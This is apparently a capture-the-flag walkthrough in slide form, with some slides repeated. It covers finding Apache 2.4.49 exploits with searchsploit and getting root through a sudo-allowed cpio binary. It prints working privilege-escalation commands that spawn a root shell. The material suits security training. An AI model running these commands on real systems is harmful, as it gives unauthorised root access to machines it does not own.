

Apache – Vulnerable Webserver Software

```
└$ searchsploit apache 2.4.49
Exploit Title
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
```

In this challenge we discover a rare instance where the webserver software itself is vulnerable to known attacks

Apache – Vulnerable Webserver Software

```
└$ searchsploit apache 2.4.49
Exploit Title
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
```

Using the same tool, we can copy the relevant script to our working directory

Privilege Escalation

Sudo Cpio

```
ETSCTF@apache:~$ sudo -l
Matching Defaults entries for ETSCTF on apache:
    env_reset, mail_badpass, secure_path=/usr/local/s
User ETSCTF may run the following commands on apache:
    (ALL : ALL) NOPASSWD: /bin/cpio
```

Our user has sudo access to the **cpio** program, which is a tool used for extracting files from archive files, and is important for the startup process of the Linux operating system.

Privilege Escalation

Sudo Cpio

```
echo '/bin/sh </dev/tty >/dev/tty' >localhost  
sudo cpio -o --rsh-command /bin/sh -F localhost:
```

The privilege escalation methods for cpio are well-known, and can be looked up on the GTFObins website

Privilege Escalation

Sudo Cpio

```
echo '/bin/sh </dev/tty >/dev/tty' >localhost  
sudo cpio -o --rsh-command /bin/sh -F localhost:
```

The first command writes a shell script that **cpio** will use, and the second command will use that to start an interactive terminal, and since it's run as **sudo**, it will be a root terminal